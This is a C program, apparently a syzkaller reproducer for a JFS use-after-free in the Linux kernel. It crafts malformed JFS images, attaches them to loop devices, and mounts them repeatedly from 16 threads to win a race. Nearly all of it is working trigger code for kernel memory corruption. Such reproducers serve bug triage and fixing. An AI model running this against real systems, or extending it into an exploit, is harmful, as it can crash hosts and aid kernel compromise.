// https://syzkaller.appspot.com/bug?id=bc5db15be2ab04e98ebf08c4ba4a3a95ba1769c8 #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #define PSIZE 4096 #define SUPER1_OFF 32768 #define AITBL_OFF 45056 #define NUM_THREADS 16 void write_le16(uint8_t *p, uint16_t v) { p[0] = v & 0xff; p[1] = (v >> 8) & 0xff; } void write_le32(uint8_t *p, uint32_t v) { p[0] = v & 0xff; p[1] = (v >> 8) & 0xff; p[2] = (v >> 16) & 0xff; p[3] = (v >> 24) & 0xff; } void write_le64(uint8_t *p, uint64_t v) { write_le32(p, v & 0xffffffff); write_le32(p + 4, v >> 32); } void setup_inode(uint8_t *img, int inum, uint32_t block) { uint8_t *ip = img + AITBL_OFF + inum * 512; write_le32(ip + 4, 0); // di_fileset (0 = AGGR_RESERVED_I, valid) write_le32(ip + 8, inum); // di_number write_le64(ip + 24, PSIZE); // di_size write_le64(ip + 32, 1); // di_nblocks write_le32(ip + 40, 1); // di_nlink write_le32(ip + 52, 0100000); // di_mode (S_IFREG) uint8_t *btroot = ip + 224; btroot[16] = 0x83; // flag = DXD_INDEX | BT_ROOT | BT_LEAF write_le16(btroot + 18, 3); // nextindex write_le16(btroot + 20, 18); // maxentry (MUST BE <= 18 to avoid jfs_error) uint8_t *xad = btroot + 32; // xad[2] write_le32(xad + 8, 1); // loc.len_addr (length = 1) write_le32(xad + 12, block); // loc.addr2 (address = block) } void *racer(void *arg) { int id = (int)(long)arg; char img_name[64], loop_name[64], mnt_name[64]; sprintf(img_name, "/tmp/img%d", id); sprintf(mnt_name, "/tmp/mnt%d", id); mkdir(mnt_name, 0777); int fd = open(img_name, O_RDWR | O_CREAT | O_TRUNC, 0666); if (fd < 0) { printf("[-] Thread %d: Failed to create %s: %s\n", id, img_name, strerror(errno)); return NULL; } if (ftruncate(fd, 16 * 1024 * 1024) < 0) { printf("[-] Thread %d: Failed to truncate %s: %s\n", id, img_name, strerror(errno)); close(fd); return NULL; } uint8_t *img = calloc(1, 16 * 1024 * 1024); if (!img) { printf("[-] Thread %d: Failed to allocate memory\n", id); close(fd); return NULL; } // 1. Setup JFS Superblock uint8_t *sb = img + SUPER1_OFF; memcpy(sb, "JFS1", 4); write_le32(sb + 4, 1); // version write_le64(sb + 8, 1000); // size write_le32(sb + 16, PSIZE); // bsize write_le16(sb + 20, 12); // l2bsize write_le32(sb + 24, PSIZE); // pbsize write_le16(sb + 28, 12); // l2pbsize write_le32(sb + 32, 100); // agsize write_le32(sb + 36, 0x00010900); // flag: BAD_SAIT | INLINELOG | GROUPCOMMIT write_le32(sb + 40, 0); // state: FM_CLEAN sb[72] = 10; // s_logpxd.len write_le32(sb + 76, 14); // s_logpxd.addr2 (Inline log at block 14) // 2. Setup required inodes setup_inode(img, 1, 10); // AGGREGATE_I setup_inode(img, 2, 12); // BMAP_I setup_inode(img, 16, 13); // FILESYSTEM_I // 3. Setup BMAP_I block to pass dbMount validation uint8_t *bmap = img + 12 * PSIZE; write_le64(bmap, 1); // dn_mapsize write_le32(bmap + 20, 1); // dn_numag write_le32(bmap + 44, 1); // dn_agwidth // 4. Setup Log Superblock at block 15 uint8_t *logsuper = img + 15 * PSIZE; write_le32(logsuper, 0x87654321); // magic write_le32(logsuper + 4, 1); // version write_le32(logsuper + 8, 0); // serial write_le32(logsuper + 12, 10); // size write_le32(logsuper + 16, PSIZE); // bsize write_le32(logsuper + 20, 12); // l2bsize write_le32(logsuper + 24, 0); // flag write_le32(logsuper + 28, 1); // state (LOGREDONE) write_le32(logsuper + 32, 8240); // end if (write(fd, img, 16 * 1024 * 1024) != 16 * 1024 * 1024) { printf("[-] Thread %d: Failed to write image\n", id); } close(fd); free(img); // 4. Setup loop device int loop_c = open("/dev/loop-control", O_RDWR); if (loop_c < 0) return NULL; int dev_nr = ioctl(loop_c, LOOP_CTL_GET_FREE); if (dev_nr < 0) { close(loop_c); return NULL; } sprintf(loop_name, "/dev/loop%d", dev_nr); int loop_fd = open(loop_name, O_RDWR); if (loop_fd < 0) { close(loop_c); return NULL; } fd = open(img_name, O_RDWR); if (fd < 0) { close(loop_fd); close(loop_c); return NULL; } if (ioctl(loop_fd, LOOP_SET_FD, fd) < 0) { close(fd); close(loop_fd); close(loop_c); return NULL; } // CRITICAL: Close the loop device and image file descriptors before mounting. close(fd); close(loop_fd); close(loop_c); printf("[+] Thread %d ready, hammering mount...\n", id); // 5. Hammer mount to hit the race window for (int i = 0; i < 10000; i++) { if (mount(loop_name, mnt_name, "jfs", 0, "") == 0) { umount(mnt_name); } } // Cleanup loop device loop_fd = open(loop_name, O_RDWR); if (loop_fd >= 0) { ioctl(loop_fd, LOOP_CLR_FD, 0); close(loop_fd); } return NULL; } int main() { setvbuf(stdout, NULL, _IONBF, 0); printf("[*] Starting JFS UAF reproducer...\n"); pthread_t threads[NUM_THREADS]; for (long i = 0; i < NUM_THREADS; i++) { if (pthread_create(&threads[i], NULL, racer, (void *)i) != 0) { printf("[-] Failed to create thread %ld\n", i); } } for (int i = 0; i < NUM_THREADS; i++) { pthread_join(threads[i], NULL); } printf("[+] Reproducer finished. Waiting for asynchronous events...\n"); sleep(2); return 0; }